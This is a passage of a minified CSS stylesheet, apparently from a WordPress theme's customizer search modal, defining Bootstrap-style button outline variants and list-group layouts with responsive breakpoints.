.btn-dark:focus{color:#fff;background-color:#1c1f23;border-color:#1a1e21;box-shadow:0 0 0 .25rem rgba(66,70,73,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-dark,.btn-check:active+#ocean-wp-customize-search .btn-dark,#ocean-wp-customize-search .btn-dark:active,#ocean-wp-customize-search .btn-dark.active,.show>#ocean-wp-customize-search .btn-dark.dropdown-toggle,.btn-check:checked+.ocean-customize-search-modal .btn-dark,.btn-check:active+.ocean-customize-search-modal .btn-dark,.ocean-customize-search-modal .btn-dark:active,.ocean-customize-search-modal .btn-dark.active,.show>.ocean-customize-search-modal .btn-dark.dropdown-toggle{color:#fff;background-color:#1a1e21;border-color:#191c1f}.btn-check:checked+#ocean-wp-customize-search .btn-dark:focus,.btn-check:active+#ocean-wp-customize-search .btn-dark:focus,#ocean-wp-customize-search .btn-dark:active:focus,#ocean-wp-customize-search .btn-dark.active:focus,.show>#ocean-wp-customize-search .btn-dark.dropdown-toggle:focus,.btn-check:checked+.ocean-customize-search-modal .btn-dark:focus,.btn-check:active+.ocean-customize-search-modal .btn-dark:focus,.ocean-customize-search-modal .btn-dark:active:focus,.ocean-customize-search-modal .btn-dark.active:focus,.show>.ocean-customize-search-modal .btn-dark.dropdown-toggle:focus{box-shadow:0 0 0 .25rem rgba(66,70,73,0.5)}#ocean-wp-customize-search .btn-dark:disabled,#ocean-wp-customize-search .btn-dark.disabled,.ocean-customize-search-modal .btn-dark:disabled,.ocean-customize-search-modal .btn-dark.disabled{color:#fff;background-color:#212529;border-color:#212529}#ocean-wp-customize-search .btn-outline-primary,.ocean-customize-search-modal .btn-outline-primary{color:#0d6efd;border-color:#0d6efd}#ocean-wp-customize-search .btn-outline-primary:hover,.ocean-customize-search-modal .btn-outline-primary:hover{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-check:focus+#ocean-wp-customize-search .btn-outline-primary,#ocean-wp-customize-search .btn-outline-primary:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-primary,.ocean-customize-search-modal .btn-outline-primary:focus{box-shadow:0 0 0 .25rem rgba(13,110,253,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-primary,.btn-check:active+#ocean-wp-customize-search .btn-outline-primary,#ocean-wp-customize-search .btn-outline-primary:active,#ocean-wp-customize-search .btn-outline-primary.active,#ocean-wp-customize-search .btn-outline-primary.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-primary,.btn-check:active+.ocean-customize-search-modal .btn-outline-primary,.ocean-customize-search-modal .btn-outline-primary:active,.ocean-customize-search-modal .btn-outline-primary.active,.ocean-customize-search-modal .btn-outline-primary.dropdown-toggle.show{color:#fff;background-color:#0d6efd;border-color:#0d6efd}.btn-check:checked+#ocean-wp-customize-search .btn-outline-primary:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-primary:focus,#ocean-wp-customize-search .btn-outline-primary:active:focus,#ocean-wp-customize-search .btn-outline-primary.active:focus,#ocean-wp-customize-search .btn-outline-primary.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-primary:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-primary:focus,.ocean-customize-search-modal .btn-outline-primary:active:focus,.ocean-customize-search-modal .btn-outline-primary.active:focus,.ocean-customize-search-modal .btn-outline-primary.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(13,110,253,0.5)}#ocean-wp-customize-search .btn-outline-primary:disabled,#ocean-wp-customize-search .btn-outline-primary.disabled,.ocean-customize-search-modal .btn-outline-primary:disabled,.ocean-customize-search-modal .btn-outline-primary.disabled{color:#0d6efd;background-color:transparent}#ocean-wp-customize-search .btn-outline-secondary,.ocean-customize-search-modal .btn-outline-secondary{color:#6c757d;border-color:#6c757d}#ocean-wp-customize-search .btn-outline-secondary:hover,.ocean-customize-search-modal .btn-outline-secondary:hover{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-check:focus+#ocean-wp-customize-search .btn-outline-secondary,#ocean-wp-customize-search .btn-outline-secondary:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-secondary,.ocean-customize-search-modal .btn-outline-secondary:focus{box-shadow:0 0 0 .25rem rgba(108,117,125,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-secondary,.btn-check:active+#ocean-wp-customize-search .btn-outline-secondary,#ocean-wp-customize-search .btn-outline-secondary:active,#ocean-wp-customize-search .btn-outline-secondary.active,#ocean-wp-customize-search .btn-outline-secondary.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-secondary,.btn-check:active+.ocean-customize-search-modal .btn-outline-secondary,.ocean-customize-search-modal .btn-outline-secondary:active,.ocean-customize-search-modal .btn-outline-secondary.active,.ocean-customize-search-modal .btn-outline-secondary.dropdown-toggle.show{color:#fff;background-color:#6c757d;border-color:#6c757d}.btn-check:checked+#ocean-wp-customize-search .btn-outline-secondary:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-secondary:focus,#ocean-wp-customize-search .btn-outline-secondary:active:focus,#ocean-wp-customize-search .btn-outline-secondary.active:focus,#ocean-wp-customize-search .btn-outline-secondary.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-secondary:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-secondary:focus,.ocean-customize-search-modal .btn-outline-secondary:active:focus,.ocean-customize-search-modal .btn-outline-secondary.active:focus,.ocean-customize-search-modal .btn-outline-secondary.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(108,117,125,0.5)}#ocean-wp-customize-search .btn-outline-secondary:disabled,#ocean-wp-customize-search .btn-outline-secondary.disabled,.ocean-customize-search-modal .btn-outline-secondary:disabled,.ocean-customize-search-modal .btn-outline-secondary.disabled{color:#6c757d;background-color:transparent}#ocean-wp-customize-search .btn-outline-success,.ocean-customize-search-modal .btn-outline-success{color:#198754;border-color:#198754}#ocean-wp-customize-search .btn-outline-success:hover,.ocean-customize-search-modal .btn-outline-success:hover{color:#fff;background-color:#198754;border-color:#198754}.btn-check:focus+#ocean-wp-customize-search .btn-outline-success,#ocean-wp-customize-search .btn-outline-success:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-success,.ocean-customize-search-modal .btn-outline-success:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-success,.btn-check:active+#ocean-wp-customize-search .btn-outline-success,#ocean-wp-customize-search .btn-outline-success:active,#ocean-wp-customize-search .btn-outline-success.active,#ocean-wp-customize-search .btn-outline-success.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-success,.btn-check:active+.ocean-customize-search-modal .btn-outline-success,.ocean-customize-search-modal .btn-outline-success:active,.ocean-customize-search-modal .btn-outline-success.active,.ocean-customize-search-modal .btn-outline-success.dropdown-toggle.show{color:#fff;background-color:#198754;border-color:#198754}.btn-check:checked+#ocean-wp-customize-search .btn-outline-success:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-success:focus,#ocean-wp-customize-search .btn-outline-success:active:focus,#ocean-wp-customize-search .btn-outline-success.active:focus,#ocean-wp-customize-search .btn-outline-success.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-success:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-success:focus,.ocean-customize-search-modal .btn-outline-success:active:focus,.ocean-customize-search-modal .btn-outline-success.active:focus,.ocean-customize-search-modal .btn-outline-success.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(25,135,84,0.5)}#ocean-wp-customize-search .btn-outline-success:disabled,#ocean-wp-customize-search .btn-outline-success.disabled,.ocean-customize-search-modal .btn-outline-success:disabled,.ocean-customize-search-modal .btn-outline-success.disabled{color:#198754;background-color:transparent}#ocean-wp-customize-search .btn-outline-info,.ocean-customize-search-modal .btn-outline-info{color:#0dcaf0;border-color:#0dcaf0}#ocean-wp-customize-search .btn-outline-info:hover,.ocean-customize-search-modal .btn-outline-info:hover{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-check:focus+#ocean-wp-customize-search .btn-outline-info,#ocean-wp-customize-search .btn-outline-info:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-info,.ocean-customize-search-modal .btn-outline-info:focus{box-shadow:0 0 0 .25rem rgba(13,202,240,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-info,.btn-check:active+#ocean-wp-customize-search .btn-outline-info,#ocean-wp-customize-search .btn-outline-info:active,#ocean-wp-customize-search .btn-outline-info.active,#ocean-wp-customize-search .btn-outline-info.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-info,.btn-check:active+.ocean-customize-search-modal .btn-outline-info,.ocean-customize-search-modal .btn-outline-info:active,.ocean-customize-search-modal .btn-outline-info.active,.ocean-customize-search-modal .btn-outline-info.dropdown-toggle.show{color:#000;background-color:#0dcaf0;border-color:#0dcaf0}.btn-check:checked+#ocean-wp-customize-search .btn-outline-info:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-info:focus,#ocean-wp-customize-search .btn-outline-info:active:focus,#ocean-wp-customize-search .btn-outline-info.active:focus,#ocean-wp-customize-search .btn-outline-info.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-info:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-info:focus,.ocean-customize-search-modal .btn-outline-info:active:focus,.ocean-customize-search-modal .btn-outline-info.active:focus,.ocean-customize-search-modal .btn-outline-info.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(13,202,240,0.5)}#ocean-wp-customize-search .btn-outline-info:disabled,#ocean-wp-customize-search .btn-outline-info.disabled,.ocean-customize-search-modal .btn-outline-info:disabled,.ocean-customize-search-modal .btn-outline-info.disabled{color:#0dcaf0;background-color:transparent}#ocean-wp-customize-search .btn-outline-warning,.ocean-customize-search-modal .btn-outline-warning{color:#ffc107;border-color:#ffc107}#ocean-wp-customize-search .btn-outline-warning:hover,.ocean-customize-search-modal .btn-outline-warning:hover{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-check:focus+#ocean-wp-customize-search .btn-outline-warning,#ocean-wp-customize-search .btn-outline-warning:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-warning,.ocean-customize-search-modal .btn-outline-warning:focus{box-shadow:0 0 0 .25rem rgba(255,193,7,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-warning,.btn-check:active+#ocean-wp-customize-search .btn-outline-warning,#ocean-wp-customize-search .btn-outline-warning:active,#ocean-wp-customize-search .btn-outline-warning.active,#ocean-wp-customize-search .btn-outline-warning.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-warning,.btn-check:active+.ocean-customize-search-modal .btn-outline-warning,.ocean-customize-search-modal .btn-outline-warning:active,.ocean-customize-search-modal .btn-outline-warning.active,.ocean-customize-search-modal .btn-outline-warning.dropdown-toggle.show{color:#000;background-color:#ffc107;border-color:#ffc107}.btn-check:checked+#ocean-wp-customize-search .btn-outline-warning:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-warning:focus,#ocean-wp-customize-search .btn-outline-warning:active:focus,#ocean-wp-customize-search .btn-outline-warning.active:focus,#ocean-wp-customize-search .btn-outline-warning.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-warning:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-warning:focus,.ocean-customize-search-modal .btn-outline-warning:active:focus,.ocean-customize-search-modal .btn-outline-warning.active:focus,.ocean-customize-search-modal .btn-outline-warning.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(255,193,7,0.5)}#ocean-wp-customize-search .btn-outline-warning:disabled,#ocean-wp-customize-search .btn-outline-warning.disabled,.ocean-customize-search-modal .btn-outline-warning:disabled,.ocean-customize-search-modal .btn-outline-warning.disabled{color:#ffc107;background-color:transparent}#ocean-wp-customize-search .btn-outline-danger,.ocean-customize-search-modal .btn-outline-danger{color:#dc3545;border-color:#dc3545}#ocean-wp-customize-search .btn-outline-danger:hover,.ocean-customize-search-modal .btn-outline-danger:hover{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-check:focus+#ocean-wp-customize-search .btn-outline-danger,#ocean-wp-customize-search .btn-outline-danger:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-danger,.ocean-customize-search-modal .btn-outline-danger:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-danger,.btn-check:active+#ocean-wp-customize-search .btn-outline-danger,#ocean-wp-customize-search .btn-outline-danger:active,#ocean-wp-customize-search .btn-outline-danger.active,#ocean-wp-customize-search .btn-outline-danger.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-danger,.btn-check:active+.ocean-customize-search-modal .btn-outline-danger,.ocean-customize-search-modal .btn-outline-danger:active,.ocean-customize-search-modal .btn-outline-danger.active,.ocean-customize-search-modal .btn-outline-danger.dropdown-toggle.show{color:#fff;background-color:#dc3545;border-color:#dc3545}.btn-check:checked+#ocean-wp-customize-search .btn-outline-danger:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-danger:focus,#ocean-wp-customize-search .btn-outline-danger:active:focus,#ocean-wp-customize-search .btn-outline-danger.active:focus,#ocean-wp-customize-search .btn-outline-danger.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-danger:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-danger:focus,.ocean-customize-search-modal .btn-outline-danger:active:focus,.ocean-customize-search-modal .btn-outline-danger.active:focus,.ocean-customize-search-modal .btn-outline-danger.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(220,53,69,0.5)}#ocean-wp-customize-search .btn-outline-danger:disabled,#ocean-wp-customize-search .btn-outline-danger.disabled,.ocean-customize-search-modal .btn-outline-danger:disabled,.ocean-customize-search-modal .btn-outline-danger.disabled{color:#dc3545;background-color:transparent}#ocean-wp-customize-search .btn-outline-light,.ocean-customize-search-modal .btn-outline-light{color:#f8f9fa;border-color:#f8f9fa}#ocean-wp-customize-search .btn-outline-light:hover,.ocean-customize-search-modal .btn-outline-light:hover{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-check:focus+#ocean-wp-customize-search .btn-outline-light,#ocean-wp-customize-search .btn-outline-light:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-light,.ocean-customize-search-modal .btn-outline-light:focus{box-shadow:0 0 0 .25rem rgba(248,249,250,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-light,.btn-check:active+#ocean-wp-customize-search .btn-outline-light,#ocean-wp-customize-search .btn-outline-light:active,#ocean-wp-customize-search .btn-outline-light.active,#ocean-wp-customize-search .btn-outline-light.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-light,.btn-check:active+.ocean-customize-search-modal .btn-outline-light,.ocean-customize-search-modal .btn-outline-light:active,.ocean-customize-search-modal .btn-outline-light.active,.ocean-customize-search-modal .btn-outline-light.dropdown-toggle.show{color:#000;background-color:#f8f9fa;border-color:#f8f9fa}.btn-check:checked+#ocean-wp-customize-search .btn-outline-light:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-light:focus,#ocean-wp-customize-search .btn-outline-light:active:focus,#ocean-wp-customize-search .btn-outline-light.active:focus,#ocean-wp-customize-search .btn-outline-light.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-light:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-light:focus,.ocean-customize-search-modal .btn-outline-light:active:focus,.ocean-customize-search-modal .btn-outline-light.active:focus,.ocean-customize-search-modal .btn-outline-light.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(248,249,250,0.5)}#ocean-wp-customize-search .btn-outline-light:disabled,#ocean-wp-customize-search .btn-outline-light.disabled,.ocean-customize-search-modal .btn-outline-light:disabled,.ocean-customize-search-modal .btn-outline-light.disabled{color:#f8f9fa;background-color:transparent}#ocean-wp-customize-search .btn-outline-dark,.ocean-customize-search-modal .btn-outline-dark{color:#212529;border-color:#212529}#ocean-wp-customize-search .btn-outline-dark:hover,.ocean-customize-search-modal .btn-outline-dark:hover{color:#fff;background-color:#212529;border-color:#212529}.btn-check:focus+#ocean-wp-customize-search .btn-outline-dark,#ocean-wp-customize-search .btn-outline-dark:focus,.btn-check:focus+.ocean-customize-search-modal .btn-outline-dark,.ocean-customize-search-modal .btn-outline-dark:focus{box-shadow:0 0 0 .25rem rgba(33,37,41,0.5)}.btn-check:checked+#ocean-wp-customize-search .btn-outline-dark,.btn-check:active+#ocean-wp-customize-search .btn-outline-dark,#ocean-wp-customize-search .btn-outline-dark:active,#ocean-wp-customize-search .btn-outline-dark.active,#ocean-wp-customize-search .btn-outline-dark.dropdown-toggle.show,.btn-check:checked+.ocean-customize-search-modal .btn-outline-dark,.btn-check:active+.ocean-customize-search-modal .btn-outline-dark,.ocean-customize-search-modal .btn-outline-dark:active,.ocean-customize-search-modal .btn-outline-dark.active,.ocean-customize-search-modal .btn-outline-dark.dropdown-toggle.show{color:#fff;background-color:#212529;border-color:#212529}.btn-check:checked+#ocean-wp-customize-search .btn-outline-dark:focus,.btn-check:active+#ocean-wp-customize-search .btn-outline-dark:focus,#ocean-wp-customize-search .btn-outline-dark:active:focus,#ocean-wp-customize-search .btn-outline-dark.active:focus,#ocean-wp-customize-search .btn-outline-dark.dropdown-toggle.show:focus,.btn-check:checked+.ocean-customize-search-modal .btn-outline-dark:focus,.btn-check:active+.ocean-customize-search-modal .btn-outline-dark:focus,.ocean-customize-search-modal .btn-outline-dark:active:focus,.ocean-customize-search-modal .btn-outline-dark.active:focus,.ocean-customize-search-modal .btn-outline-dark.dropdown-toggle.show:focus{box-shadow:0 0 0 .25rem rgba(33,37,41,0.5)}#ocean-wp-customize-search .btn-outline-dark:disabled,#ocean-wp-customize-search .btn-outline-dark.disabled,.ocean-customize-search-modal .btn-outline-dark:disabled,.ocean-customize-search-modal .btn-outline-dark.disabled{color:#212529;background-color:transparent}#ocean-wp-customize-search .btn-link,.ocean-customize-search-modal .btn-link{font-weight:400;color:#0d6efd;text-decoration:underline}#ocean-wp-customize-search .btn-link:hover,.ocean-customize-search-modal .btn-link:hover{color:#0a58ca}#ocean-wp-customize-search .btn-link:disabled,#ocean-wp-customize-search .btn-link.disabled,.ocean-customize-search-modal .btn-link:disabled,.ocean-customize-search-modal .btn-link.disabled{color:#6c757d}#ocean-wp-customize-search .btn-lg,.ocean-customize-search-modal .btn-lg{padding:.5rem 1rem;font-size:1.25rem;border-radius:.3rem}#ocean-wp-customize-search .btn-sm,.ocean-customize-search-modal .btn-sm{padding:.25rem .5rem;font-size:.875rem;border-radius:.2rem}#ocean-wp-customize-search .list-group,.ocean-customize-search-modal .list-group{display:flex;flex-direction:column;padding-left:0;margin-bottom:0;border-radius:.25rem}#ocean-wp-customize-search .list-group-numbered,.ocean-customize-search-modal .list-group-numbered{list-style-type:none;counter-reset:section}#ocean-wp-customize-search .list-group-numbered>li::before,.ocean-customize-search-modal .list-group-numbered>li::before{content:counters(section, ".") ". ";counter-increment:section}#ocean-wp-customize-search .list-group-item-action,.ocean-customize-search-modal .list-group-item-action{width:100%;color:#495057;text-align:inherit}#ocean-wp-customize-search .list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-action:focus{z-index:1;color:#495057;text-decoration:none;background-color:#f8f9fa}#ocean-wp-customize-search .list-group-item-action:active,.ocean-customize-search-modal .list-group-item-action:active{color:#212529;background-color:#e9ecef}#ocean-wp-customize-search .list-group-item,.ocean-customize-search-modal .list-group-item{position:relative;display:block;padding:.5rem 1rem;color:#212529;text-decoration:none;background-color:#fff;border:1px solid rgba(0,0,0,0.125)}#ocean-wp-customize-search .list-group-item:first-child,.ocean-customize-search-modal .list-group-item:first-child{border-top-left-radius:inherit;border-top-right-radius:inherit}#ocean-wp-customize-search .list-group-item:last-child,.ocean-customize-search-modal .list-group-item:last-child{border-bottom-right-radius:inherit;border-bottom-left-radius:inherit}#ocean-wp-customize-search .list-group-item.disabled,#ocean-wp-customize-search .list-group-item:disabled,.ocean-customize-search-modal .list-group-item.disabled,.ocean-customize-search-modal .list-group-item:disabled{color:#6c757d;pointer-events:none;background-color:#fff}#ocean-wp-customize-search .list-group-item.active,.ocean-customize-search-modal .list-group-item.active{z-index:2;color:#fff;background-color:#0d6efd;border-color:#0d6efd}#ocean-wp-customize-search .list-group-item+#ocean-wp-customize-search .list-group-item,.ocean-customize-search-modal .list-group-item+#ocean-wp-customize-search .list-group-item,#ocean-wp-customize-search .list-group-item+.ocean-customize-search-modal .list-group-item,.ocean-customize-search-modal .list-group-item+.ocean-customize-search-modal .list-group-item{border-top-width:0}#ocean-wp-customize-search .list-group-item+#ocean-wp-customize-search .list-group-item.active,.ocean-customize-search-modal .list-group-item+#ocean-wp-customize-search .list-group-item.active,#ocean-wp-customize-search .list-group-item+.ocean-customize-search-modal .list-group-item.active,.ocean-customize-search-modal .list-group-item+.ocean-customize-search-modal .list-group-item.active{margin-top:-1px;border-top-width:1px}#ocean-wp-customize-search .list-group-horizontal,.ocean-customize-search-modal .list-group-horizontal{flex-direction:row}#ocean-wp-customize-search .list-group-horizontal>.list-group-item:first-child,.ocean-customize-search-modal .list-group-horizontal>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}#ocean-wp-customize-search .list-group-horizontal>.list-group-item:last-child,.ocean-customize-search-modal .list-group-horizontal>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}#ocean-wp-customize-search .list-group-horizontal>.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal>.list-group-item.active{margin-top:0}#ocean-wp-customize-search .list-group-horizontal>.list-group-item+.list-group-item,.ocean-customize-search-modal .list-group-horizontal>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}#ocean-wp-customize-search .list-group-horizontal>.list-group-item+.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}@media (min-width: 576px){#ocean-wp-customize-search .list-group-horizontal-sm,.ocean-customize-search-modal .list-group-horizontal-sm{flex-direction:row}#ocean-wp-customize-search .list-group-horizontal-sm>.list-group-item:first-child,.ocean-customize-search-modal .list-group-horizontal-sm>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}#ocean-wp-customize-search .list-group-horizontal-sm>.list-group-item:last-child,.ocean-customize-search-modal .list-group-horizontal-sm>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}#ocean-wp-customize-search .list-group-horizontal-sm>.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-sm>.list-group-item.active{margin-top:0}#ocean-wp-customize-search .list-group-horizontal-sm>.list-group-item+.list-group-item,.ocean-customize-search-modal .list-group-horizontal-sm>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}#ocean-wp-customize-search .list-group-horizontal-sm>.list-group-item+.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-sm>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width: 768px){#ocean-wp-customize-search .list-group-horizontal-md,.ocean-customize-search-modal .list-group-horizontal-md{flex-direction:row}#ocean-wp-customize-search .list-group-horizontal-md>.list-group-item:first-child,.ocean-customize-search-modal .list-group-horizontal-md>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}#ocean-wp-customize-search .list-group-horizontal-md>.list-group-item:last-child,.ocean-customize-search-modal .list-group-horizontal-md>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}#ocean-wp-customize-search .list-group-horizontal-md>.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-md>.list-group-item.active{margin-top:0}#ocean-wp-customize-search .list-group-horizontal-md>.list-group-item+.list-group-item,.ocean-customize-search-modal .list-group-horizontal-md>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}#ocean-wp-customize-search .list-group-horizontal-md>.list-group-item+.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-md>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width: 992px){#ocean-wp-customize-search .list-group-horizontal-lg,.ocean-customize-search-modal .list-group-horizontal-lg{flex-direction:row}#ocean-wp-customize-search .list-group-horizontal-lg>.list-group-item:first-child,.ocean-customize-search-modal .list-group-horizontal-lg>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}#ocean-wp-customize-search .list-group-horizontal-lg>.list-group-item:last-child,.ocean-customize-search-modal .list-group-horizontal-lg>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}#ocean-wp-customize-search .list-group-horizontal-lg>.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-lg>.list-group-item.active{margin-top:0}#ocean-wp-customize-search .list-group-horizontal-lg>.list-group-item+.list-group-item,.ocean-customize-search-modal .list-group-horizontal-lg>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}#ocean-wp-customize-search .list-group-horizontal-lg>.list-group-item+.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-lg>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width: 1200px){#ocean-wp-customize-search .list-group-horizontal-xl,.ocean-customize-search-modal .list-group-horizontal-xl{flex-direction:row}#ocean-wp-customize-search .list-group-horizontal-xl>.list-group-item:first-child,.ocean-customize-search-modal .list-group-horizontal-xl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}#ocean-wp-customize-search .list-group-horizontal-xl>.list-group-item:last-child,.ocean-customize-search-modal .list-group-horizontal-xl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}#ocean-wp-customize-search .list-group-horizontal-xl>.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-xl>.list-group-item.active{margin-top:0}#ocean-wp-customize-search .list-group-horizontal-xl>.list-group-item+.list-group-item,.ocean-customize-search-modal .list-group-horizontal-xl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}#ocean-wp-customize-search .list-group-horizontal-xl>.list-group-item+.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-xl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}@media (min-width: 1400px){#ocean-wp-customize-search .list-group-horizontal-xxl,.ocean-customize-search-modal .list-group-horizontal-xxl{flex-direction:row}#ocean-wp-customize-search .list-group-horizontal-xxl>.list-group-item:first-child,.ocean-customize-search-modal .list-group-horizontal-xxl>.list-group-item:first-child{border-bottom-left-radius:.25rem;border-top-right-radius:0}#ocean-wp-customize-search .list-group-horizontal-xxl>.list-group-item:last-child,.ocean-customize-search-modal .list-group-horizontal-xxl>.list-group-item:last-child{border-top-right-radius:.25rem;border-bottom-left-radius:0}#ocean-wp-customize-search .list-group-horizontal-xxl>.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-xxl>.list-group-item.active{margin-top:0}#ocean-wp-customize-search .list-group-horizontal-xxl>.list-group-item+.list-group-item,.ocean-customize-search-modal .list-group-horizontal-xxl>.list-group-item+.list-group-item{border-top-width:1px;border-left-width:0}#ocean-wp-customize-search .list-group-horizontal-xxl>.list-group-item+.list-group-item.active,.ocean-customize-search-modal .list-group-horizontal-xxl>.list-group-item+.list-group-item.active{margin-left:-1px;border-left-width:1px}}#ocean-wp-customize-search .list-group-flush,.ocean-customize-search-modal .list-group-flush{border-radius:0}#ocean-wp-customize-search .list-group-flush>.list-group-item,.ocean-customize-search-modal .list-group-flush>.list-group-item{border-width:0 0 1px}#ocean-wp-customize-search .list-group-flush>.list-group-item:last-child,.ocean-customize-search-modal .list-group-flush>.list-group-item:last-child{border-bottom-width:0}#ocean-wp-customize-search .list-group-item-primary,.ocean-customize-search-modal .list-group-item-primary{color:#084298;background-color:#cfe2ff}#ocean-wp-customize-search .list-group-item-primary.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-primary.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-primary.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-primary.list-group-item-action:focus{color:#084298;background-color:#bacbe6}#ocean-wp-customize-search .list-group-item-primary.list-group-item-action.active,.ocean-customize-search-modal .list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#084298;border-color:#084298}#ocean-wp-customize-search .list-group-item-secondary,.ocean-customize-search-modal .list-group-item-secondary{color:#41464b;background-color:#e2e3e5}#ocean-wp-customize-search .list-group-item-secondary.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-secondary.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-secondary.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-secondary.list-group-item-action:focus{color:#41464b;background-color:#cbccce}#ocean-wp-customize-search .list-group-item-secondary.list-group-item-action.active,.ocean-customize-search-modal .list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#41464b;border-color:#41464b}#ocean-wp-customize-search .list-group-item-success,.ocean-customize-search-modal .list-group-item-success{color:#0f5132;background-color:#d1e7dd}#ocean-wp-customize-search .list-group-item-success.list-group-item-action:hover,#ocean-wp-customize-search .list-group-item-success.list-group-item-action:focus,.ocean-customize-search-modal .list-group-item-success.list-group-item-action:hover,.ocean-customize-search-modal .list-group-item-success.list-group-item-action:focus{color:#0f5132;background-color:#bcd0c7}#ocean-wp-customize-search .list-group-item-success.list-group-item-action.active,.ocean-customize-search-modal 